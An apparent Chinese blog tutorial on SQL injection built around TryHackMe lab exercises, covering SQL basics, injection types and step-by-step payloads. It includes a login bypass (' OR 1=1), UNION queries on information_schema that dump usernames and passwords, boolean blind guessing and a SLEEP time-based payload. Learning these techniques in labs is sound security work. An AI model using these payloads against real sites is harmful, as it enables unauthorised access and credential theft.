SQL注入(基于 tryhackme 的讲解)

一、什么是SQL注入

SQL注入攻击(SQL Injection),简称注入攻击、SQL注入,被广泛用于非法获取网站控制权,是发生在应用程序的数据库层上的安全漏洞。在设计程序时,忽略了对输入字符串中夹带的SQL指令的检查,被数据库误认为是正常的SQL指令而运行,从而使数据库受到攻击,可能导致数据被窃取、更改、删除,以及进一步导致网站被嵌入恶意代码、被植入后门程序等危害。

根据相关技术原理,SQL注入可以分为平台层注入和代码层注入。前者由不安全的数据库配置或数据库平台的漏洞所致;后者主要是由于程序员对输入未进行细致地过滤,从而执行了非法的数据查询。

通常情况下的sql注入的位置如下:

(1)表单提交,主要是POST请求,也包括GET请求; (2)URL参数提交,主要为GET请求参数; (3)Cookie参数提交; (4)HTTP请求头部的一些可修改的值,比如Referer、User_Agent等; (5)一些边缘的输入点,比如.mp3文件的一些文件信息等。

先决条件:一是用户能控制输入,二是本来程序要执行的代码,凭借了用户输入的数据

二、危害

1.数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。

2.网页篡改:通过操作数据库对特定网页进行篡改。

3.网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。

4.数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改。

5.服务器被远程控制,被安装后门。经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。 破坏硬盘数据,瘫痪全系统。

6.一些类型的数据库系统能够让SQL指令操作文件系统,这使得SQL注入的危害被进一步放大。

三、SQL语句

1 . SELECT 

select * from users;

1)select是告诉数据库我们想提取出一些信息

2)*是告诉数据库我们要提取出所有列的信息

3)from users是告诉数据库我们要提取出名字为users的表的信息

4)最后的分号是结束

IDusernamepasswor
1jonpass123
2adminp4ssword
3martinsecret123

 

select username,password from users;

这句与上面的类似,只是它特定的指出我要提出的是名字为users的表里面名字为username和password两个列的类容

 

 

 

 

select * from users LIMIT 1;

下面的查询和第一个一样,使用 * 选择器返回所有列,然后“LIMIT 1”子句强制数据库只返回一行数据。将查询更改为“LIMIT 1,1”强制查询跳过第一个结果,然后“LIMIT 2,1”跳过前两个结果,依此类推。您需要记住第一个数字告诉数据库您希望跳过多少结果,第二个数字告诉数据库要返回多少行。

1960f2e43cb34bee8eacd2a5c1e593f2.png

select * from users where username='admin';

这里出现的where,where相当于一个查找功能,where username='admin'就相当于查找表中username为admin的一行,

0b5c8978415e4567b7d1e115a2bd99a0.png

 

select * from users where username != 'admin';

顾名思义,就是返回除了admin的其他行

select * from users where username='admin' or username='jon';

顾名思义!!!!!!!

select * from users where username='admin' and password='p4ssword';

这只会返回用户名等于admin且密码等于p4ssword 的行。

select * from users where username like 'a%';

like就相当于一个筛选语法,该语句的作用就是筛选出username中含字母a的那一行

52374460c3b042f48839d37f09a57644.png

select * from users where username like '%mi%';

筛选出含有字母mi的一行

61d2d21b9f4448bb8f76ffbbf308e949.png

2 . UNION

顾名思义就是缝合

举个栗子,你现在手上有一个班级的两张名单(一半人在第一张表上,另一半人在第二张表上),你拿着很不方便,所以你选择把他在电脑上全部做成统一的一张表,这个过程其实就是一个联合的过程

但是在数据库中,要想这样做要满足几个条件,第一就是你两张表的列数要相等,其次每一列的数据类型要对应相同

例如下面有两张表:

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAU0dzZ29k,size_20,color_FFFFFF,t_70,g_se,x_16

 watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAU0dzZ29k,size_20,color_FFFFFF,t_70,g_se,x_16

 

 

 

然后执行下列语句,就可以将两张表放在同一张表中:

SELECT name,address,city,postcode from customers UNION SELECT company,address,city,postcode from suppliers;

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAU0dzZ29k,size_20,color_FFFFFF,t_70,g_se,x_16

3 . INSERT

insert into users (username,password) values ('bob','password123');

此句的作用是为了向users表中的username和password的列中分别插入bob和password123两个数据

 

4 . UPDATE

UPDATE 语句告诉我们希望在表中更新数据的一行或多行的数据库。您使用“ update %tablename% SET ”指定要更新的,然后选择要更新的一个或多个字段作为逗号分隔的列表,例如“ username='root',password='pass123' ”然后最后与 SELECT 语句类似,您可以使用 where 子句(例如“ where username='admin; ”)准确指定要更新的行。

update users SET username='root',password='pass123' where username='admin';

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAU0dzZ29k,size_20,color_FFFFFF,t_70,g_se,x_16

 

 

5 . DELETE

DELETE 语句告诉我们要删除数据的一行或多行的数据库。他也可以使用limit和where

delete from users where username='martin';

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAU0dzZ29k,size_20,color_FFFFFF,t_70,g_se,x_16

delete from users;

因为查询中没有使用 WHERE 子句,所以表中的所有数据都被删除了。

150747f7c2af4bc7beb0dc37a596997b.png

四、SQL注入的分类

1.如何判断是否存在sql注入

在URL或者表单中输入一个单引号或者其他特殊符号,页面出现错误说明此页面存在SQL注入,如果页面正常显示说明有字符被过滤或者不存在注入

2.具体类别

事实上SQL注入有很多种,按数据类型可以分为数字型、字符型和搜索型,按提交方式可分为GET型,POST型,Cookie型和HTTP请求头注入,按执行效果有可以分为报错注入、联合查询注入、盲注和堆查询注入,其中盲注又可分为基于bool的基于时间的注入。从查询语句即可看出来这里是字符型的注入同时也是GET型注入和表单注入,数字型注入查询语句为:SELECT * FROM user WHERE id=1,搜索型注入查询语句为:SELECT * FROM user WHERE search like '%1%'。

3.数字型注入

在URL或者表单中输入0 or 1,如果可以查到数据,说明是数字型注入

4.字符型注入

在URL或者表单中输入 0'or 1#,查到数据说明是字符型注入,方法不唯一。总之数字型注入不需要使用单引号闭合前面的单引号就可以执行SQL语句,而字符型必须闭合前面的单引号,然后才可以执行SQL语句,同时也需要把后面的单引号闭合,而注释就是很好的一种闭合后面的单引号的方法。

5.搜索型注入

一些网站为了方便用户查找网站的资源,都对用户提供了搜索的功能,因为是搜索功能,往往是程序员在编写代码时都忽略了对其变量(参数)的过滤,而且这样的漏洞在国内的系统中普遍的存在:

其中又分为POST/GET,GET型的一般是用在网站上的搜索,而POST则用在用户名的登录,可以从form表单的method="get"属性来区分是get还是post。搜索型注入又称为文本框注入

判断方法为

1 搜索keywords‘,如果出错的话,有90%的可能性存在漏洞;

2 搜索 keywords%,如果同样出错的话,就有95%的可能性存在漏洞;

3 搜索keywords% 'and 1=1 and '%'='(这个语句的功能就相当于普通SQL注入的 and 1=1)看返回的情况

搜索keywords% 'and 1=2 and '%'='(这个语句的功能就相当于普通SQL注入的 and 1=2)看返回的情况

——根据两次的返回情况来判断是不是搜索型文本框注入了

五、注入方法

注入方法可以直接在URL中提交注入语句,需要注意的是,在URL提交SQL语句,需要将注释符#进行URL编码,有时候所有SQL语句都需要URL编码

1.联合查询注入

联合查询注入也是用的非常多的,可以在URL中提交SQL语句,也可以在表单提交,联合查询相当于把别的表的数据查询结果显示到当前表,使用联合查询时,必须使得两张表的表结构一致,因此我们需要判断当前表的列数有多少列,此外还需知道是字符型注入还是数字型注入。它属于In-Band SQLI的一员

(1)前提条件:要有显示位

什么是显示位:在一个在一个网站的正常页面,服务端执行SQL语句查询数据库中的数据,客户端将数 据展示在页面中,这个展示数据的位置就叫显示位

(2)注入过程

1)判断注入点

我们在可能存在SQL注入变量的后边添加以下payload:

and 1=1 / and 1=2 回显页面不同(整形判断)

单引号判断‘ 显示数据库错误信息或者页面回显不同(整形,字符串类型判断)

\ (转义符)

-1/+1 回显下一个或上一个页面(整型判断)

注:加号‘+’在URL中有特殊含义,因此在需要对其进行URL编码为%2b

2)判断注入类型

3)判断查询列数

order by 函数是对MySQL中查询结果按照指定字段名进行排序,除了指定字段名还可以指定字段的栏位进行排序,第一个查询字段为1,第二个为2,依次 类推。(我们也可以通过二分法来猜解列数)

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAU0dzZ29k,size_20,color_FFFFFF,t_70,g_se,x_16

 

由图可知这个表只有3列

4)开联

c6d7250ac1f944c196503adfb0d92dc5.png

 

发现出来的是文章,不是用户资料,那么我们把id改为0看看。

90ea0f39d5974297aa6ca8ce38d3c904.png

 

 

接下来让我们看看数据库的名字

e6d4ea1c32a7489aba2ea1868c2f1378.png

 

 

发现数据库的名字是sqli_one,那么接下来我们会用到一个语句

0 UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'sqli_one'

其中,group_concat() 从多个返回的行中获取指定的列(在我们的例子中是 table_name),并将其放入一个以逗号分隔的字符串中,接下里是接下来是 information_schema 数据库;数据库的每个用户都可以访问它,它包含有关用户有权访问的所有数据库和表的信息。在这个特定的查询中,我们有兴趣列出sqli_one 数据库中的所有表 ,即 article 和 staff_users。

e567e19a772a4f6d89a9b912110594f8.png

 

发现我们有两个表,因为我们是对密码感兴趣,所以我们进入staff_users

0 UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name = 'staff_users'

 

526955fc407f4267b9e995ac923326d8.png

 

此时我们发现在staff_users中有三列,分别是id,password,username。那么我们把username和password列出来就行

0 UNION SELECT 1,2,group_concat(username,':',password SEPARATOR '<br>') FROM staff_users

我们再次使用 group_concat 方法将所有行返回到一个字符串中并使其更易于阅读。我们还添加了 ,':' 来将用户名和密码分开。

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAU0dzZ29k,size_20,color_FFFFFF,t_70,g_se,x_16

 

搞定!!!!!!!

2.基于bool的盲注

与In-Band SQL injection不同,In-Band注入会在页面显示结果,但盲注就只有一点或是没有任何反馈信息,但恰恰是这些微不足道的返回信息就足以枚举出数据库中的所有信息。

所谓“盲注”,就是在服务器关闭错误回显时完成的注入攻击。

而判断其是否存在sql注入的方法就是构造一个简单的语句,根据返回页面是否发生变化,来判断sql语句是否得到执行。(具体可参照web书第152页)

(1)身份验证绕过

最简单的SQL盲注技术之一是绕过登录身份验证的方法。在这种情况下,我们对从数据库中检索数据不感兴趣;我们只想通过登录。

在处理这个问题时,数据库是关心我们输入的数据是否与数据库中的数据相匹配,而不关心内容,所以我们没必要列举所有的用户名及密码。

下面是一个sql语句

select * from users where username='%username%' and password='%password%' LIMIT 1;

其中百分号是取用户输入内容进行替换。

而为了使sql语句永真,就需要构造 ’ OR 1=1;

将sql语句替换成:

select * from users where username='' and password='' OR 1=1

前面的单引号是为了让前面的语句闭合 ,后面的分号让后面的闭合,从而导致后面的语句失效。

ac2f3676787a45cdbd306d12e3606472.png

 

 

(2)Boolean Based

该注入是可以从页面返回的信息中得知对错,从而得知自己数据的正确与否。

下面是一条sql语句和所对应的页面

select * from users where username = '%username%' LIMIT 1;

 

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAU0dzZ29k,size_20,color_FFFFFF,t_70,g_se,x_16

 

对于这个例题,要先将前面和后面的单引号闭合,因为无法返回页面,所以只能试探:

cbeb4d7f93e94d1ca25edb6799317158.png

 

 

发现页面返回为对。那么就继续往下执行,将数据库的名字弄出来:

admin' UNION SELECT 1,2,3 where database() like 's%';

通过like可以将数据库的名字一步一步的通过凑的方式来将数据库名字弄出来。、

在出数据库名字后,则将数据库中的表列举出来:

admin' UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema = 'sqli_three' and table_name like 'a%';

通过这样的方法再次列举出有一张表为users。

最后列举出列表名:

admin' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='sqli_three' and TABLE_NAME='users' and COLUMN_NAME like 'a%';

当然也可以使用下面的语句将不重要的列名除去:

​
admin' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='sqli_three' and TABLE_NAME='users' and COLUMN_NAME like 'a%' and COLUMN_NAME !='id';

​

之后你完整的得到了表名,列名,之后用常规的语句去找出用户名和密码:

admin' UNION SELECT 1,2,3 from users where username like 'a%';

 

admin' UNION SELECT 1,2,3 from users where username='admin' and password like 'a%';

最后得到密码,侵入成功。

(3)基于时间的盲注

此时唯一与Boolean不同的是,它是靠信息的返回时间来判断注入是否成功。基本方法与Boolean一样

语句稍微修改一下:

admin123' UNION SELECT SLEEP(5),2;--

3. Out-of-Band SQL i

 

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAU0dzZ29k,size_20,color_FFFFFF,t_70,g_se,x_16

 

不要问为什么这样做,因为懒。

 

 

从此完结

 

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值